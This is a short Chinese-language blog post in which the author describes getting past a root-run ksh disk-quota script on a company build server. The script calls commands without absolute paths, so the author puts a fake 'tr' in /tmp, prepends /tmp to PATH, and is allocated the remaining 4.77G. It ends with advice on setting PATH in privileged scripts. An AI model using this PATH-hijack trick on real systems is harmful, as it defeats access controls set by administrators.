公司有台 Build server, 我们都可以在上面用一个 root 权限来执行的脚本为自己分配一个 8G 的空间来用,但可惜我来得晚,空间已经被瓜分殆尽,只剩下 4.77G,更要命的是,这个脚本只分 8G,它发现空间不够时不会分配剩余的空间,而是直接报错退出。
今天下午我就琢磨怎么把这 4.77G 拿来自己用了,首先想到的当然是看那个分配空间的脚本,但是,那个脚本 cb_dir.sh 的权限设置是
-r-S--x--x 1 root root
我只能执行,不能 read。不甘心啊,在硬盘上看了一会,我发现它的一个备份文件,并且是可以读的,哈哈!
这是个 ksh 脚本,判断空间大小的代码:
#
# check bpool avaialble space
#
QUOTA_SIZE=8
AVAIL=`zfs list -H -o available $POOL`
echo $AVAIL | grep G >/dev/null 2>&1
(( $? > 0 )) && {
echo "Not enough space. Directory is not created."
exit 1
}
AVAIL_SIZE=`echo $AVAIL | tr -d G`
(( $AVAIL_SIZE < $QUOTA_SIZE )) && {
echo "Not enough space. Directory is not created."
exit 1
}
写得不是那么简洁 :P,下面切入正题了:脚本开始没有设置 PATH,并且用到的命令都没有带绝对路径,有机可乘!
$ cat > /tmp/tr << EOT#!/bin/ksh
print 9
EOT
$ chmod +x /tmp/tr$ export PATH=/tmp:$PATH
然后执行那个脚本,哈,4.77G 划到我的名下了。
如果脚本开始设置好 PATH,或者命令全都用绝对路径 (root 嘛,再怎么小心都不为过),就不会有这个漏洞了。这个例子可以拿去教育那些把“.”放到 PATH 中的人 ;)
0 Comments so far